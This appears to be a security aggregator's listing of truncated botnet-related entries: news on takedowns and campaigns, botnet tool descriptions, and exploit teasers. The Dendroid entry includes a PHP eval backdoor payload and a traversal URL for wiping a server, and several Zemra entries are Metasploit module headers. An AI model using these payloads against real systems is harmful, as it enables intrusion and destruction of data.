Ares - Python Botnet and Backdoor

Ares is made of two main programs: A Command aNd Control server, which is a Web interface to administer the agents An agent program, which is run on the compromised host, and ensures communication with the CNC The Web interface can be run on any server running Python. You need to install the...

Multiple Security issues with ScreenOS (JSA10713)

ScreenOS is vulnerable to an unauthorized remote administrative access to the device over SSH or telnet and to unauthorized decrypting of VPN traffic SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respectiv...

Microsoft, Law Enforcement Collaborate in Dorkbot Takedown

A coalition of law enforcement agencies worked together recently to disrupt Dorkbot, a botnet that’s managed to infect more than one million machines in 190 countries during the last year. Researchers with Microsoft’s Malware Protection Center announced the news via a post on the MMPC blog. Two...

Mr. Grey Hacker (Wanted by FBI) Steals 1.2 BILLION Login Passwords

That's a lot of Login credentials fetch by a single hacker. The FBI believes a single hacker who goes by the moniker Mr.Grey has stolen login credentials for over 1.2 Billion online accounts – apparently the biggest heist of log-in credentials the FBI has investigated thus far. Yeah, that's not...

ZIB - The Open Tor Botnet

General information and instructions. The Open Tor Botnet requires the installation and configuration of bitcoind, however I neglect to detail this here out of a lack of time. This bot-net is fully undetectable and bypasses all antivirus through running on top of Python27's pyinstaller, which is...

New Campaign Shows Dridex Active, Targeting the French

Two weeks after authorities announced they had taken down the botnet behind the banking malware Dridex, new research suggests the threat is alive and well. Researchers with security company Invincea announced today that they’ve noticed 60 instances of attackers dropping Dridex on users in France,...

Zemra Botnet (C2 Web Panel) - Remote Code Execution (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 'Zemra Botnet CnC Web Panel Remote Code Execution', 'Description' = %q This module exploits the CnC web panel of Zemra Botnet which...

Zemra Botnet CnC Web Panel Remote Code Execution Exploit

This Metasploit module exploits the CnC web panel of Zemra Botnet which contains a backdoor inside its leaked source code. Zemra is a crimeware bot that can be used to conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra. This module requires Metasploit: http://metasploit.com/downlo...

Zemra Botnet CnC Web Panel Remote Code Execution

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 'Zemra Botnet CnC Web Panel Remote Code Execution', 'Description' = %q This module exploits the CnC web panel of Zemra Botnet which...

New Botnet Hunts for Linux — Launching 20 DDoS Attacks/Day at 150Gbps

A network of compromised Linux servers has grown so powerful that it can blow large websites off the Internet by launching crippling Distributed Denial-of-service DDoS attacks of over 150 gigabits per second Gbps. The distributed denial-of-service network, dubbed XOR DDoS Botnet, targets over 20...

Dendroid botnet Remote Code Execution Vulnerability

Bonus to remotely wipe the whole server: /deletepics.php?uid=../../Panel/ import requests Add URL Set a PHP payload Go to http://website/config.php URL = 'http://localhost/Panel/applysettings.php' PAYLOAD = "isset$GET'tapz' ? eval$GET'tapz' : '" data = 'dbhost' : 'localhost', 'dbname' : 'dendroid...

Google Report Outlines Dependencies in the For-Profit Cybercrime Food Chain

Security specialists need to change the game and shift gears, researchers argue – instead of focusing on protecting their users and systems, they should narrow their sights on trying to shake up cybercrime’s seedy underbelly. At least that’s how Kurt Thomas and Elie Bursztein, researchers at...

Spam Campaign Continuing to Serve Up Malicious .js Files

A malicious spam campaign that’s been doling out zipped Javascript .js files remains an issue, the SANS Internet Storm Center warns. The campaign was spotted earlier this year, but Brad Duncan, a handler for the site and researcher with Rackspace’s information security operations center, claims...

Google Image CSRF Vulnerability & Using it as a Botnet

Exploit for php platform in category web applications / Exploit Title: Google Image CSRF Vulnerability & Using it as a Botnet Exploit Author: C4T Vendor Homepage : http://images.google.com Google Dork: none Tested on: Linux & Windows ====================================================== Google...

Pineapple 2.3.0 Autopwn Script

I have wrote PoC half a year ago, because i needed to try it on my Chinese router, and it still works on freshly purchased pineapple devices. hello from Defcon ; And guys, it’s not a talk for the defcon, especially if you have done a botnet based on that shit… ; See ya tomorrow at WiFi village...

Updated DGA Changer Malware Generates Fake Domain Stream

LAS VEGAS — The group behind the DGA Changer downloader has been pretty adept in modifying the malware to elude sandbox detection in particular. Researchers at Seculert today published a report on the latest twist to DGA Changer, which now is able to generate a fake stream of domains if it detect...

Malware And Hacking Forum Seized, Dozens Arrested

The FBI and other law enforcement agencies have arrested more than 70 people suspected of carrying out cyber criminal activities associated with one of the most active underground web forums known as Darkode. Darkode, also used by notorious Lizard Squad, was an online bazaar for cyber criminals...

Europol Arrests Gang Behind Zeus And SpyEye Banking Malware

The Law enforcement agencies from six different European countries have taken down a major Ukrainian-based cyber criminals gang suspected of developing, distributing and deploying Zeus and SpyEye banking malware. According to the report on the official website of Europol, authorities have arreste...

Adware-Laden Skype Botnet Disrupted

Skype, Microsoft’s now ubiquitous video/messenger program, has long been a go-to destination for attackers looking to peddle their malware. The latest campaign to leverage the software – a botnet circulating adware, composed entirely of Skype users – was recently disrupted by researchers. Ronnie...

Researchers: Patch Incomplete for Hola VPN Vulnerabilities

Hola, a popular, free, peer-to-peer service that enables anonymous surfing and access to blocked online resources, said today it has patched vulnerabilities discovered last week that expose its millions of users to possible code execution, remote monitoring and other threats to privacy and...